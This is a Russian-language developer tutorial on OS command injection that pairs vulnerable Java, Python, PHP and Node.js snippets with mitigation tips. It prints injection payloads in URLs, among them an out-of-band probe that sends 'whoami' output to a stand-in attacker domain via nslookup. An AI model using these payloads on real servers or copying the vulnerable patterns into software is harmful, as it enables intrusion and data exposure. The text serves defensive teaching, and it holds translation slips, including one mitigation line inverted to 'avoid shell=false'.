Безопасность для разработчиков: Инъекция команд ОС

Здравствуйте! Вы разработчик, желающий узнать о концепциях безопасности? Тогда вы попали по адресу. Давайте узнаем, почему и как использовать OS Command Injection.

OS Command Injection

Дефект веб-безопасности под названием OS command injection, часто известный как shell injection, позволяет злоумышленнику выполнять произвольные команды операционной системы (ОС) на сервере, где размещено приложение, обычно через HTTP-заголовки, cookies и формы, что обычно приводит к полной компрометации приложения и всех его данных.

Злоумышленники могут выполнять несанкционированные/незаконные команды, которые могут быть использованы для отключения программного обеспечения или чтения/изменения данных, к которым у злоумышленника нет прямого доступа. Поскольку целевая программа непосредственно выполняет команды, а не злоумышленник, любая вредоносная деятельность может выглядеть так, будто она исходит от приложения или его владельца.

Один из самых простых и распространенных примеров — когда мы пытаемся просмотреть файл в веб-приложении, он просто отображается в URL, и поэтому злоумышленник может добавить символ трубы ( | ) в конце имени файла.

Пример

URL :

https://os-command-injection.com/data?file=user.txt

Войти в полноэкранный режим Выход из полноэкранного режима

URL после модификации:

https://os-command-injection.com/data?file=user.txt|whoami

Войти в полноэкранный режим Выход из полноэкранного режима

Слепая командная инъекция ОС

Слепые командные инъекции OS — это командные инъекции, которые не выдают никаких результатов для команд, выполняемых в HTTP-ответе. Такие слепые инъекции могут быть обнаружены с помощью различных техник.

Слепые командные инъекции ОС могут быть использованы с помощью трех вышеперечисленных методов

Выполнение временных задержек

Можно включить временную задержку, чтобы определить, была ли выполнена команда, основываясь на длительности ответа сервера.

Для этого можно использовать команду ping.

https://os-command-injection.com/data?file=user.txt|ping+-c+10+127.0.0.1|

Вход в полноэкранный режим Выйти из полноэкранного режима

Перенаправление вывода

Вывод командной инъекции может быть перенаправлен в файл, доступ к которому можно получить с сервера.

Здесь символ > может быть использован для отправки вывода в файл

https://os-command-injection.com/data?file=user.txt|whoami>/var/tmp/whoami.txt|

Вход в полноэкранный режим Выйти из полноэкранного режима

Внеполосные методы (OAST)

При использовании методов OAST вводимая команда инициирует внеполосный сетевой контакт с сервером.

Здесь можно использовать следующую полезную нагрузку

https://os-command-injection.com/data?file=user.txt|nslookup+`whoami`.website.attacker.com|

Войти в полноэкранный режим Выход из полноэкранного режима

Теперь, как разработчику/инженеру программного обеспечения, наиболее важно понять, как именно смягчить последствия OS Command Injection, поскольку описанные выше методы показывают, что не всегда можно доверять пользовательскому вводу.

Мы рассмотрим, как OS Command Injection проявляется в различных языках программирования и как можно смягчить ее последствия.

OS Command Injection в Java

Следующий фрагмент кода на Java уязвим для атаки с использованием командной инъекции:

public static void listFiles(String dir) throws Exception {
  Runtime rt = Runtime.getRuntime();
  Process pr = rt.exec(new String[] {"sh", "-c", "ls " + dir});
  int result = pr.waitFor();
  if (result != 0) 
  {
    System.out.println("process error: " + result);
  }
  InputStream in = (result == 0) ? pr.getInputStream() :pr.getErrorStream();
  int c;
  while ((c = in.read()) != -1) 
 {
    System.out.print((char) c);
  }
}

Войти в полноэкранный режим Выйти из полноэкранного режима

Смягчение последствий

  • Предоставление только определенных символов в аргументе, передаваемом в runtime.exec(), очищает недоверенный пользовательский ввод.
  • Ограничение выбора пользователя путем передачи только определенных строк в runtime.exec().
  • Предоставляя другой метод, такой как File.list() и т.д., с помощью которого можно выполнить системную команду.

Инъекция команд ОС в Python

Следующий фрагмент кода на языке Python уязвим для атаки инъекции команд:

def page()
    dir = request.values.get(dir)
    command = 'ls ' + dir
    return subprocess.check_output(command, shell=True)

Войти в полноэкранный режим Выйти из полноэкранного режима

Здесь каталог (dir) будет непосредственно добавлен к данной команде и выполнен со значением shell=true, но злоумышленник может легко добавить точку с запятой(;) и выполнить любую дополнительную команду, например rm -rf exec.txt, тем самым удалив файл с сервера.

Смягчение

  • Предоставление определенных символов с помощью разрешающего списка, очищающего ввод недоверенного пользователя.
  • Использование API подпроцессов в родном API pythons с установленным значением shell=false.
  • В python есть много API, которые выполняют команды. Поэтому избегание значения shell=false, когда это возможно, может помочь смягчить такую атаку.

Инъекция команд ОС в PHP

Следующий фрагмент кода PHP уязвим для атаки инъекции команд:

<?php
print("Specify the name of the file to be read");
print("<p>");
$file=$_GET['filename'];
system("cat $file");
?>

Войти в полноэкранный режим Выйти из полноэкранного режима

Следующие запрос и ответ являются примером успешной атаки:

Запрос

https://os-command-injection.com/data?file=user.txt;id

Войти в полноэкранный режим Выйти из полноэкранного режима

Ответ

Specify the name of the file to be read
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Войти в полноэкранный режим Выйти из полноэкранного режима

Смягчение последствий

  • Предоставление указанных символов из разрешенного списка устраняет недоверенный пользовательский ввод.
  • Предоставление встроенной функции filter_input для выполнения такой проверки.
  • PHP также предлагает функции для правильного экранирования и цитирования строк, такие как escapeshellarg() и esacapeshellcmd().

Инъекция команд ОС в Node.JS

Следующий фрагмент кода Node.JS уязвим для атаки инъекции команд:

const childProcess = require('child_process')
const filename = process.argv[2]
const stdout = childProcess.execSync(`cat ${filename}`)
console.log(stdout.toString())

Войти в полноэкранный режим Выход из полноэкранного режима

Приведенный выше пример выполняет системную команду с нефильтрованным пользовательским вводом, используя execSync (синхронный вариант exec).

Смягчение

  • Недоверенный пользовательский ввод устраняется путем предоставления определенных символов из разрешенного списка.
  • По возможности избегайте использования API вызовов оболочки в node.js.
  • Использование spawnSync() вместо execSync() в приведенной выше задаче может помочь передать только отдельную строку.

Заключение

  • Очень важно, чтобы любые веб-приложения держались подальше от инструкций операционной системы, которые включают данные, контролируемые пользователем. Команды, занимающиеся разработкой и кибербезопасностью, должны сосредоточиться на использовании кода, который предотвращает использование несанкционированных инструкций для управления операциями на уровне сервера.
  • Необходимо строго проверять все данные пользователя, если нет более безопасных и надежных средств для выполнения операций на уровне сервера.Для этого часто используется список допустимых значений.Некоторые предприятия могут ограничивать ввод короткими последовательностями буквенно-цифровых символов.Система автоматически отклоняет любой ввод, который выходит за пределы допустимого диапазона данных.
  • Интерпретатор командной оболочки, управляющий цепочкой команд и перенаправлением, может получить командную строку от приложения в определенных обстоятельствах.Нарушение может стать результатом этого.Вместо этого программа должна запускать только определенный процесс в зависимости от опций командной строки и предоставленного имени. Таким образом, даже если злоумышленники пройдут через простые методы проверки ввода, их возможности будут ограничены.

Желаю вам приятно провести время, читая о новой концепции безопасности! Дайте мне знать, если у вас возникли вопросы. Если нет, поделитесь со мной. Надеюсь увидеть вас в следующем выпуске!

Оцените статью
devanswers.ru
Добавить комментарий